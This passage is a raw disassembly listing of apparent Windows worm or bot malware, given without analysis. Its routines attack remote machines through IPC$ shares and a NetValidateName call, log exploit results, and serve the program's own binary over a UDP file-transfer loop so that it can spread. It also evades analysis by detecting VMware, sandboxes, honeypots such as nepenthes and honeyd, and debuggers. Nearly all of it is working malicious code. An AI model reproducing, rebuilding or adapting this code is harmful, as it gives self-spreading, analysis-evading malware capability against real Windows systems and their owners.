lea eax, [ecx+eax*2+2]
test al, 3
mov [ebp+var_8], eax
jz short loc_409B97
loc_409B8F: ; CODE XREF: sub_40978A+408j
inc eax
test al, 3
jnz short loc_409B8F
mov [ebp+var_8], eax
loc_409B97: ; CODE XREF: sub_40978A+403j
push 8
add eax, esi
push ebx
push eax
call sub_429690
mov eax, [ebp+var_8]
add esp, 0Ch
add eax, 8
cmp byte ptr (loc_43F017+1)[edi], bl
jz short loc_409BB8
mov [eax+esi], ebx
jmp short loc_409BBE
; ---------------------------------------------------------------------------
loc_409BB8: ; CODE XREF: sub_40978A+427j
mov word ptr [eax+esi], 1
loc_409BBE: ; CODE XREF: sub_40978A+42Cj
push 18h
lea eax, [ebp+var_24]
push ebx
push eax
call sub_429690
xor eax, eax
add esp, 0Ch
inc eax
xor ecx, ecx
cmp byte ptr (loc_43F017+1)[edi], bl
push eax
push 10B8h
mov [ebp+var_24], 5
push [ebp+arg_0]
mov [ebp+var_23], bl
setnz cl
push esi
lea esi, [ebp+var_24]
sub esp, 18h
lea ecx, [ecx+ecx+19h]
mov [ebp+var_E], cx
mov [ebp+var_22], bl
push 6
mov [ebp+var_21], 3
pop ecx
mov [ebp+var_20], 10h
mov edi, esp
push [ebp+var_4]
mov [ebp+var_1A], bx
mov [ebp+var_18], eax
mov [ebp+var_10], bx
rep movsd
call sub_4096AB
add esp, 2Ch
test eax, eax
push [ebp+var_4]
jnz short loc_409C4D
call dword_437044 ; CloseHandle
push [ebp+var_C]
call sub_429822
pop ecx
loc_409C3B: ; CODE XREF: sub_40978A+22Dj
; sub_40978A+2C9j
push ebx
push ebx
push [ebp+var_7C]
call dword_456F90
loc_409C46: ; CODE XREF: sub_40978A+38j
; sub_40978A+4Aj
xor eax, eax
jmp loc_409D29
; ---------------------------------------------------------------------------
loc_409C4D: ; CODE XREF: sub_40978A+4A0j
call dword_437044 ; CloseHandle
push [ebp+var_C]
call sub_429822
pop ecx
push ebx
push ebx
push [ebp+var_7C]
call dword_456F90
push 7D0h
call dword_43718C ; Sleep
movzx eax, word_443986
push eax
lea esi, [ebp+arg_4]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
rep movsd
call sub_401B6E
add esp, 0C8h
test eax, eax
jz loc_409D26
mov edx, [ebp+arg_B0]
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov eax, edx
mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)"
shl eax, 6
lea ecx, dword_43A380[eax]
inc dword ptr [ecx]
cmp [ebp+arg_C0], ebx
mov ecx, [ecx]
jz short loc_409CF4
cmp [ebp+arg_B8], ebx
jnz short loc_409CFC
push ecx
lea ecx, [ebp+arg_4]
lea eax, dword_43A357[eax]
push ecx
push eax
push edi
push esi
push [ebp+arg_C8]
push [ebp+arg_CC]
call sub_41CD84
mov edx, [ebp+arg_B0]
add esp, 1Ch
loc_409CF4: ; CODE XREF: sub_40978A+538j
cmp [ebp+arg_B8], ebx
jz short loc_409D26
loc_409CFC: ; CODE XREF: sub_40978A+540j
shl edx, 6
lea eax, [ebp+arg_4]
push dword_43A380[edx]
push eax
lea eax, dword_43A357[edx]
push eax
push edi
push esi
push [ebp+arg_C8]
push [ebp+arg_CC]
call sub_41CD0E
add esp, 1Ch
loc_409D26: ; CODE XREF: sub_40978A+50Dj
; sub_40978A+570j
xor eax, eax
inc eax
loc_409D29: ; CODE XREF: sub_40978A+4BEj
pop edi
pop esi
pop ebx
leave
retn
sub_40978A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+10h]
push ebx
push eax
call sub_4044F6
pop ecx
cmp eax, 3
pop ecx
jnz short loc_409D9B
push dword ptr [ebp+0Ch]
lea esi, [ebp+10h]
push dword ptr [ebp+8]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
push ebx
rep movsd
call sub_40978A
add esp, 0D0h
lea esi, [ebp+10h]
mov [ebp-4], eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
push ebx
rep movsd
call sub_40978A
add esp, 0D0h
test eax, eax
jnz short loc_409DC1
cmp [ebp-4], eax
jnz short loc_409DC1
jmp short loc_409DC3
; ---------------------------------------------------------------------------
loc_409D9B: ; CODE XREF: ?9:00409D47j
cmp eax, 2
jnz short loc_409DC1
sub esp, 0C4h
lea esi, [ebp+10h]
push 31h
pop ecx
mov edi, esp
push dword ptr [ebp+0Ch]
rep movsd
push dword ptr [ebp+8]
call sub_409F99
add esp, 0CCh
loc_409DC1: ; CODE XREF: ?9:00409D92j ?9:00409D97j ...
mov eax, ebx
loc_409DC3: ; CODE XREF: ?9:00409D99j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
lea eax, [ebp+10h]
push 1
push eax
call sub_4044F6
pop ecx
cmp eax, 3
pop ecx
jnz loc_409E85
mov ebx, [ebp+0Ch]
lea esi, [ebp+10h]
push ebx
push dword ptr [ebp+8]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
push 0
rep movsd
call sub_40978A
add esp, 0D0h
lea esi, [ebp+10h]
mov [ebp+0Ch], eax
push ebx
push dword ptr [ebp+8]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
push 0
rep movsd
call sub_40978A
add esp, 0D0h
test eax, eax
jnz short loc_409E59
cmp [ebp+0Ch], eax
jnz short loc_409E59
push ebx
lea esi, [ebp+10h]
push dword ptr [ebp+8]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
push 2
rep movsd
call sub_40978A
add esp, 0D0h
mov [ebp+0Ch], eax
loc_409E59: ; CODE XREF: ?9:00409E2Ej ?9:00409E33j
push ebx
lea esi, [ebp+10h]
push dword ptr [ebp+8]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
push 2
rep movsd
call sub_40978A
add esp, 0D0h
test eax, eax
jnz short loc_409EAB
cmp [ebp+0Ch], eax
jnz short loc_409EAB
jmp short loc_409EAE
; ---------------------------------------------------------------------------
loc_409E85: ; CODE XREF: ?9:00409DDEj
cmp eax, 2
jnz short loc_409EAB
sub esp, 0C4h
lea esi, [ebp+10h]
push 31h
pop ecx
mov edi, esp
push dword ptr [ebp+0Ch]
rep movsd
push dword ptr [ebp+8]
call sub_409F99
add esp, 0CCh
loc_409EAB: ; CODE XREF: ?9:00409E7Cj ?9:00409E81j ...
xor eax, eax
inc eax
loc_409EAE: ; CODE XREF: ?9:00409E83j
pop edi
pop esi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409EB3 proc near ; DATA XREF: sub_409F80+6o
var_220 = byte ptr -220h
var_120 = byte ptr -120h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 220h
push edi
push offset aNetapi32_dll ; "netapi32.dll"
call dword_437034 ; LoadLibraryA
push offset aNetvalidatenam ; "NetValidateName"
push eax
mov dword_4557C0, eax
call dword_437030 ; GetProcAddress
xor edi, edi
mov dword_4557B4, eax
cmp eax, edi
jz loc_409F7D
push esi
mov esi, 80h
push [ebp+arg_0]
lea eax, [ebp+var_120]
push offset aSIpc_0 ; "\\\\%s\\IPC$"
push esi
push eax
call sub_429AEE
push [ebp+arg_0]
lea eax, [ebp+var_A0]
push offset aS_0 ; "\\\\%s"
push esi
push eax
call sub_429AEE
add esp, 20h
lea eax, [ebp+var_220]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_4292D0
pop ecx
inc eax
push eax
lea eax, [ebp+var_A0]
push eax
push edi
push edi
call dword_437180 ; MultiByteToWideChar
lea eax, [ebp+var_120]
push edi
mov [ebp+var_C], eax
mov eax, offset byte_454A34
push eax
push eax
lea eax, [ebp+var_20]
mov [ebp+var_10], edi
push eax
mov [ebp+var_4], edi
mov [ebp+var_1C], edi
call sub_428FFA
push edi
push edi
push edi
lea eax, [ebp+var_220]
push offset byte_4557C8
push eax
call dword_4557B4
add esp, 14h
pop esi
loc_409F7D: ; CODE XREF: sub_409EB3+2Fj
pop edi
leave
retn
sub_409EB3 endp
; =============== S U B R O U T I N E =======================================
sub_409F80 proc near ; CODE XREF: sub_409F99+E6p
arg_0 = dword ptr 4
push [esp+arg_0]
push 0
push offset sub_409EB3
call sub_42AAB1
add esp, 0Ch
mov dword_4557B8, eax
retn
sub_409F80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409F99 proc near ; CODE XREF: ?9:00409DB6p ?9:00409EA0p
var_190 = byte ptr -190h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_B4 = dword ptr 0BCh
arg_BC = dword ptr 0C4h
arg_C4 = dword ptr 0CCh
push ebp
mov ebp, esp
sub esp, 190h
push esi
push edi
lea eax, [ebp+arg_8]
push 1
push eax
call sub_4044F6
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+arg_8]
jz short loc_409FBC
push 1
jmp short loc_409FBE
; ---------------------------------------------------------------------------
loc_409FBC: ; CODE XREF: sub_409F99+1Dj
push 5
loc_409FBE: ; CODE XREF: sub_409F99+21j
push eax
call sub_4044F6
pop ecx
mov esi, eax
pop ecx
lea eax, [ebp+arg_8]
push eax
call dword_4372BC
cmp esi, 9
jz short loc_40A056
push 5
cmp esi, 3
pop eax
jnz short loc_409FE2
push 4
pop eax
loc_409FE2: ; CODE XREF: sub_409F99+44j
cmp esi, 2
jnz short loc_409FEA
xor eax, eax
inc eax
loc_409FEA: ; CODE XREF: sub_409F99+4Cj
mov edi, dword_43F048[eax*4]
mov esi, 0A28h
push esi
push 90h
push offset byte_4557C8
call sub_429690
mov eax, edi
mov ecx, 1FBh
mov edi, offset byte_4557C9
add esp, 0Ch
rep stosd
lea eax, [ebp+var_190]
push eax
push 101h
call dword_4372B4
test eax, eax
jnz short loc_40A056
push 6
push 1
push 2
call dword_4372B8
mov ax, word_443986
push eax
call dword_4372C0
mov ecx, dword_43F060
lea eax, [ecx+7FEh]
cmp eax, esi
jle short loc_40A05D
loc_40A056: ; CODE XREF: sub_409F99+3Cj
; sub_409F99+92j
xor eax, eax
jmp loc_40A14B
; ---------------------------------------------------------------------------
loc_40A05D: ; CODE XREF: sub_409F99+BBj
test ecx, ecx
jle short loc_40A079
mov eax, ecx
mov esi, offset dword_43A8E8
mov edi, offset word_455FC6
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_40A079: ; CODE XREF: sub_409F99+C6j
lea eax, [ebp+arg_8]
push 14h
push eax
call sub_409F80
pop ecx
pop ecx
push 7D0h
call dword_43718C ; Sleep
movzx eax, word_443986
push eax
lea esi, [ebp+arg_8]
sub esp, 0C4h
push 31h
pop ecx
mov edi, esp
rep movsd
call sub_401B6E
add esp, 0C8h
test eax, eax
jz loc_40A13E
mov edx, [ebp+arg_B4]
mov edi, offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
mov eax, edx
mov esi, offset aSSSExD ; "%s %s -> %s (Ex: %d)"
shl eax, 6
lea ecx, dword_43A380[eax]
inc dword ptr [ecx]
cmp [ebp+arg_C4], 0
mov ecx, [ecx]
jz short loc_40A10F
cmp [ebp+arg_BC], 0
jnz short loc_40A118
push ecx
lea ecx, [ebp+arg_8]
lea eax, dword_43A357[eax]
push ecx
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD84
mov edx, [ebp+arg_B4]
add esp, 1Ch
loc_40A10F: ; CODE XREF: sub_409F99+149j
cmp [ebp+arg_BC], 0
jz short loc_40A148
loc_40A118: ; CODE XREF: sub_409F99+152j
shl edx, 6
lea eax, [ebp+arg_8]
push dword_43A380[edx]
push eax
lea eax, dword_43A357[edx]
push eax
push edi
push esi
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41CD0E
add esp, 1Ch
jmp short loc_40A148
; ---------------------------------------------------------------------------
loc_40A13E: ; CODE XREF: sub_409F99+11Dj
lea eax, [ebp+arg_8]
push eax
call sub_401E8E
pop ecx
loc_40A148: ; CODE XREF: sub_409F99+17Dj
; sub_409F99+1A3j
xor eax, eax
inc eax
loc_40A14B: ; CODE XREF: sub_409F99+BFj
pop edi
pop esi
leave
retn
sub_409F99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A14F proc near ; CODE XREF: ?9:0040A233p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_4]
mov [ebp+var_10], 2
call dword_456F18 ; ntohs
mov [ebp+var_E], ax
and [ebp+var_C], 0
lea eax, [ebp+arg_4]
push 4
push eax
push 4
push 0FFFFh
mov [ebp+arg_4], 1
push [ebp+arg_0]
call dword_456EF0 ; setsockopt
test eax, eax
jnz short loc_40A1B7
lea eax, [ebp+var_10]
push 10h
push eax
push [ebp+arg_0]
call dword_456F4C ; bind
cmp eax, 0FFFFFFFFh
jz short loc_40A1B7
cmp [ebp+arg_8], 0
jnz short loc_40A1BB
push 0Ah
push [ebp+arg_0]
call dword_456F48 ; listen
cmp eax, 0FFFFFFFFh
jnz short loc_40A1BB
loc_40A1B7: ; CODE XREF: sub_40A14F+3Cj
; sub_40A14F+50j
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40A1BB: ; CODE XREF: sub_40A14F+56j
; sub_40A14F+66j
xor eax, eax
inc eax
leave
retn
sub_40A14F endp
; ---------------------------------------------------------------------------
loc_40A1C0: ; DATA XREF: sub_40A938+6884o
push ebp
mov ebp, esp
sub esp, 604h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 31h
mov esi, eax
pop ecx
lea edi, [ebp-0F4h]
rep movsd
xor edi, edi
xor ebx, ebx
inc edi
push ebx
mov [eax+0BCh], edi
mov eax, [ebp-0F4h]
push 2
push 2
mov [ebp-8], eax
call dword_456FB0 ; socket
push 0Bh
mov esi, eax
call sub_423756
imul eax, 2724h
cmp esi, ebx
pop ecx
mov dword_46D710[eax], esi
jnz short loc_40A21C
push ebx
call dword_437170 ; ExitThread
loc_40A21C: ; CODE XREF: ?9:0040A213j
push edi
push 45h
push 0Bh
call sub_423756
imul eax, 2724h
pop ecx
push dword_46D710[eax]
call sub_40A14F
add esp, 0Ch
test eax, eax
jnz short loc_40A246
push ebx
call dword_437170 ; ExitThread
loc_40A246: ; CODE XREF: ?9:0040A23Dj
lea eax, [ebp-604h]
push 104h
push eax
push ebx
call dword_437178 ; GetModuleFileNameA
test eax, eax
jz loc_40A4DE
lea eax, [ebp-604h]
push offset aRb ; "rb"
push eax
call sub_42A43C
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+8], eax
jz loc_40A4DE
mov esi, 200h
loc_40A284: ; CODE XREF: ?9:0040A2E4j ?9:0040A3BFj ...
push 0Bh
mov dword ptr [ebp-10h], 5
mov dword ptr [ebp-0Ch], 1388h
mov [ebp-500h], ebx
call sub_423756
imul eax, 2724h
inc dword ptr [ebp-500h]
mov dword ptr [esp], 104h
mov eax, dword_46D710[eax]
push ebx
mov [ebp-4FCh], eax
lea eax, [ebp-3FCh]
push eax
call sub_429690
add esp, 0Ch
lea eax, [ebp-10h]
push eax
push ebx
lea eax, [ebp-500h]
push ebx
push eax
push ebx
call dword_456EFC ; select
test eax, eax
jz short loc_40A284
push 10h
lea eax, [ebp-4]
pop edi
push eax
lea eax, [ebp-20h]
push eax
push ebx
lea eax, [ebp-3FCh]
push 104h
push eax
push 0Bh
mov [ebp-4], edi
call sub_423756
imul eax, 2724h
pop ecx
push dword_46D710[eax]
call dword_456EE4 ; recvfrom
test eax, eax
jz loc_40A4D7
push dword ptr [ebp-1Ch]
call dword_456FBC ; inet_ntoa
push eax
lea eax, [ebp-30h]
push edi
push eax
call sub_429AEE
add esp, 0Ch
cmp [ebp-3FCh], bl
jnz loc_40A4C3
cmp byte ptr [ebp-3FBh], 1
jnz short loc_40A3C4
push offset dword_443990
call sub_4292D0
push ebx
push ebx
push dword ptr [ebp+8]
call sub_42A352
push dword ptr [ebp+8]
lea eax, [ebp-2F4h]
mov [ebp-2F8h], bl
mov byte ptr [ebp-2F7h], 3
push esi
push 1
push eax
mov [ebp-2F6h], bl
mov byte ptr [ebp-2F5h], 1
call sub_42A0B8
add esp, 20h
lea ecx, [ebp-20h]
add eax, 4
push dword ptr [ebp-4]
push ecx
push ebx
push eax
lea eax, [ebp-2F8h]
push eax
loc_40A3A5: ; CODE XREF: ?9:0040A4D2j
push 0Bh
call sub_423756
imul eax, 2724h
pop ecx
push dword_46D710[eax]
call dword_456F8C ; sendto
jmp loc_40A284
; ---------------------------------------------------------------------------
loc_40A3C4: ; CODE XREF: ?9:0040A34Dj
cmp byte ptr [ebp-3FBh], 4
jnz loc_40A4C3
mov cl, [ebp-3F9h]
mov al, [ebp-3FAh]
cmp cl, 0FFh
mov [ebp-2F8h], bl
mov byte ptr [ebp-2F7h], 3
jnz short loc_40A3FB
inc al
xor cl, cl
mov [ebp-2F5h], bl
jmp short loc_40A403
; ---------------------------------------------------------------------------
loc_40A3FB: ; CODE XREF: ?9:0040A3EDj
inc cl
mov [ebp-2F5h], cl
loc_40A403: ; CODE XREF: ?9:0040A3F9j
mov [ebp-2F6h], al
push ebx
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
shl eax, 9
sub eax, esi
push eax
push dword ptr [ebp+8]
call sub_42A352
push dword ptr [ebp+8]
lea eax, [ebp-2F4h]
push esi
push 1
push eax
call sub_42A0B8
add esp, 1Ch
mov edi, eax
lea eax, [ebp-20h]
push dword ptr [ebp-4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp-2F8h]
push eax
push 0Bh
call sub_423756
imul eax, 2724h
pop ecx
push dword_46D710[eax]
call dword_456F8C ; sendto
cmp edi, ebx
jnz short loc_40A495
cmp [ebp-44h], ebx
jz short loc_40A495
cmp [ebp-3Ch], ebx
jnz short loc_40A49E
lea eax, [ebp-30h]
push eax
push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
lea eax, [ebp-0F0h]
push offset dword_43F0B0
push eax
push dword ptr [ebp-8]
call sub_41CD84
add esp, 14h
loc_40A495: ; CODE XREF: ?9:0040A469j ?9:0040A46Ej
cmp [ebp-3Ch], ebx
jz loc_40A284
loc_40A49E: ; CODE XREF: ?9:0040A473j
lea eax, [ebp-30h]
push eax
push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
lea eax, [ebp-0F0h]
push offset dword_43F0B0
push eax
push dword ptr [ebp-8]
call sub_41CD0E
add esp, 14h
jmp loc_40A284
; ---------------------------------------------------------------------------
loc_40A4C3: ; CODE XREF: ?9:0040A340j ?9:0040A3CBj
push dword ptr [ebp-4]
lea eax, [ebp-20h]
push eax
push ebx
push 9
push offset dword_43F0A4
jmp loc_40A3A5
; ---------------------------------------------------------------------------
loc_40A4D7: ; CODE XREF: ?9:0040A31Dj
push ebx
call dword_437170 ; ExitThread
loc_40A4DE: ; CODE XREF: ?9:0040A25Bj ?9:0040A279j
push ebx
call dword_437170 ; ExitThread
loc_40A4E5: ; CODE XREF: sub_40A708+A1p
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437308
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp-18h], esp
and byte ptr [ebp-19h], 0
and dword ptr [ebp-4], 0
push ebx
mov ebx, 0
mov eax, 1
; ---------------------------------------------------------------------------
dw 3F0Fh
dd 0DB850B07h, 0E745940Fh, 8B34EB5Bh, 4589EC45h, 0E0458BE0h
dd 8904408Bh, 4D8BDC45h, 0FFC883DCh, 0A48189h, 4D8B0000h
dd 0B8898BDCh, 83000000h, 558B04C1h, 0B88A89DCh, 0C3000000h
dd 83E8658Bh, 8AFFFC4Dh, 4D8BE745h, 0D8964F0h, 0
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A575 proc near ; CODE XREF: sub_40A708+AAp
var_19 = byte ptr -19h
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437318
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_19], 1
and [ebp+var_4], 0
push edx
push ecx
push ebx
mov eax, 564D5868h
mov ebx, 0
mov ecx, 0Ah
mov edx, 5658h
in eax, dx
cmp ebx, 564D5868h
setz [ebp+var_19]
pop ebx
pop ecx
pop edx
jmp short loc_40A5D5
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
and [ebp+var_19], 0
loc_40A5D5: ; CODE XREF: sub_40A575+53j
or [ebp+var_4], 0FFFFFFFFh
mov al, [ebp+var_19]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A575 endp
; =============== S U B R O U T I N E =======================================
sub_40A5EB proc near ; CODE XREF: sub_40A708:loc_40A750p
mov eax, large fs:30h
mov eax, [eax+0Ch]
mov eax, [eax+0Ch]
add dword ptr [eax+20h], 2000h
retn
sub_40A5EB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5FF proc near ; CODE XREF: sub_40A708+B3p
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 104h
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call dword_437178 ; GetModuleFileNameA
lea eax, [ebp+var_104]
push offset dword_43F0C0
push eax
call sub_42ADD0
pop ecx
xor eax, eax
pop ecx
leave
retn
sub_40A5FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A633 proc near ; CODE XREF: sub_40A708+BCp
var_134 = byte ptr -134h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 134h
push esi
lea eax, [ebp+var_4]
push edi
push eax
lea eax, [ebp+var_B4]
mov esi, offset aTu4nh09smcg1hc ; "TU-4NH09SMCG1HC"
push eax
mov [ebp+var_34], esi
mov [ebp+var_30], offset aRoo ; "roo"
mov [ebp+var_2C], offset aSandbox ; "Sandbox"
mov [ebp+var_28], offset aSnort ; "snort"
mov [ebp+var_24], offset aHoney ; "honey"
mov [ebp+var_20], offset aHoneyc ; "honeyc"
mov [ebp+var_1C], offset aHoneyd ; "honeyd"
mov [ebp+var_18], offset aHoneymule ; "HoneyMule"
mov [ebp+var_14], offset aVmware ; "vmware"
mov [ebp+var_10], offset aCurrentuser ; "currentuser"
mov [ebp+var_C], offset aNepenthes ; "nepenthes"
mov [ebp+var_8], offset aImail8_001531N ; "(IMail 8.00 153-1) NT-ESMTP Server X1"
mov [ebp+var_4], 80h
call dword_43700C
lea eax, [ebp+var_B4]
push eax
call dword_437268
xor edi, edi
loc_40A6BA: ; CODE XREF: sub_40A633+A1j
push [ebp+edi*4+var_34]
lea eax, [ebp+var_B4]
push eax
call sub_42ADD0
pop ecx
test eax, eax
pop ecx
jnz short loc_40A6FD
inc edi
cmp edi, 0Ch
jb short loc_40A6BA
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_134]
push eax
call dword_43709C ; GetComputerNameA
test eax, eax
jz short loc_40A702
lea eax, [ebp+var_134]
push esi
push eax
call dword_437174 ; lstrcmpiA
test eax, eax
jnz short loc_40A702
loc_40A6FD: ; CODE XREF: sub_40A633+9Bj
xor eax, eax
inc eax
jmp short loc_40A704
; ---------------------------------------------------------------------------
loc_40A702: ; CODE XREF: sub_40A633+B6j
; sub_40A633+C8j
xor eax, eax
loc_40A704: ; CODE XREF: sub_40A633+CDj
pop edi
pop esi
leave
retn
sub_40A633 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A708 proc near ; CODE XREF: sub_418D49+Fp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
cmp dword_4561F0, 0
push ebx
push esi
push edi
jz short loc_40A722
xor eax, eax
inc eax
jmp loc_40A851
; ---------------------------------------------------------------------------
loc_40A722: ; CODE XREF: sub_40A708+10j
and [ebp+var_4], 0
mov esi, offset aKernel32_dll ; "KERNEL32.DLL"
push esi
call dword_437070 ; GetModuleHandleA
test eax, eax
jnz short loc_40A741
push esi
call dword_437034 ; LoadLibraryA
test eax, eax
jz short loc_40A750
loc_40A741: ; CODE XREF: sub_40A708+2Cj
push offset aIsdebuggerpres ; "IsDebuggerPresent"
push eax
call dword_437030 ; GetProcAddress
mov [ebp+var_4], eax
loc_40A750: ; CODE XREF: sub_40A708+37j
call sub_40A5EB
call dword_437184 ; GetTickCount
mov [ebp+var_C], eax
mov esi, offset sub_40A856
mov al, [esi]
cmp al, 0CCh
jz short loc_40A76D
xor eax, eax
jmp short loc_40A772
; ---------------------------------------------------------------------------
loc_40A76D: ; CODE XREF: sub_40A708+5Fj
mov eax, 1
loc_40A772: ; CODE XREF: sub_40A708+63j
test al, al
jz short loc_40A77E
loc_40A776: ; CODE XREF: sub_40A708+9Fj
; sub_40A708+A8j ...
xor edi, edi
inc edi
jmp loc_40A845
; ---------------------------------------------------------------------------
loc_40A77E: ; CODE XREF: sub_40A708+6Cj
mov [ebp+var_8], offset aDaemon ; "DAEMON"
push 0
push [ebp+var_8]
mov eax, large fs:30h
movzx eax, byte ptr [eax+2]
or al, al
jz short loc_40A79A
jmp short loc_40A79E
; ---------------------------------------------------------------------------
loc_40A79A: ; CODE XREF: sub_40A708+8Ej
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40A79E: ; CODE XREF: sub_40A708+90j
mov eax, 1
leave
retn
; ---------------------------------------------------------------------------
test al, al
jnz short loc_40A776
call loc_40A4E5
test al, al
jnz short loc_40A776
call sub_40A575
test al, al
jnz short loc_40A776
call sub_40A5FF
test eax, eax
jnz short loc_40A776
call sub_40A633
xor edi, edi
inc edi
test eax, eax
jnz short loc_40A845
push edi
mov ebx, offset aSoftwareVmware ; "SOFTWARE\\VMware, Inc.\\VMware Tools"
push offset aInstallpath ; "InstallPath"
mov esi, 80000002h
push ebx
push esi
call sub_420FC9
add esp, 10h
test eax, eax
jnz short loc_40A845
push 4
push offset aShowtray ; "ShowTray"
push ebx
push esi
call sub_420FC9
add esp, 10h
test eax, eax
jnz short loc_40A845
cmp [ebp+var_4], eax
jz short loc_40A835
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
mov esi, [ebp+var_8]
mov al, [esi]
cmp al, 0CCh
jz short loc_40A81B
xor eax, eax
jmp short loc_40A820
; ---------------------------------------------------------------------------
loc_40A81B: ; CODE XREF: sub_40A708+10Dj
mov eax, 1
loc_40A820: ; CODE XREF: sub_40A708+111j
test al, al
jnz short loc_40A845
call [ebp+var_4]
test eax, eax
jnz short loc_40A845
call dword_4370A0 ; IsDebuggerPresent
test eax, eax
jnz short loc_40A845
loc_40A835: ; CODE XREF: sub_40A708+FEj
call dword_437184 ; GetTickCount
sub eax, [ebp+var_C]
cmp eax, 1388h
jbe short loc_40A84F
loc_40A845: ; CODE XREF: sub_40A708+71j
; sub_40A708+C6j ...
mov dword_4561F0, edi
mov eax, edi
jmp short loc_40A851
; ---------------------------------------------------------------------------
loc_40A84F: ; CODE XREF: sub_40A708+13Bj
xor eax, eax
loc_40A851: ; CODE XREF: sub_40A708+15j
; sub_40A708+145j
pop edi
pop esi
pop ebx
leave
retn
sub_40A708 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A856 proc near ; DATA XREF: sub_40A708+56o
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
mov al, [esi]
cmp al, 0CCh
jz short loc_40A867
xor eax, eax
jmp short loc_40A86C
; ---------------------------------------------------------------------------
loc_40A867: ; CODE XREF: sub_40A856+Bj
mov eax, 1
loc_40A86C: ; CODE XREF: sub_40A856+Fj
pop esi
pop ebp
retn
sub_40A856 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A86F proc near ; CODE XREF: sub_40A938+869p
; sub_40A938+9244p ...
var_5A8 = byte ptr -5A8h
var_5A7 = byte ptr -5A7h
var_1A8 = byte ptr -1A8h
var_154 = byte ptr -154h
var_100 = dword ptr -100h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 5A8h
push ebx
push esi
push edi
lea eax, [ebp+var_5A8]
push [ebp+arg_0]
push eax
call dword_4370A4 ; lstrcpyA
cmp [ebp+var_5A7], 0
jz loc_40A930
mov al, [ebp+var_5A8]
cmp al, byte_443988
jnz loc_40A930
push 40h
lea eax, [ebp+var_100]
push [ebp+arg_0]
push eax
call sub_4276B6
mov ebx, eax
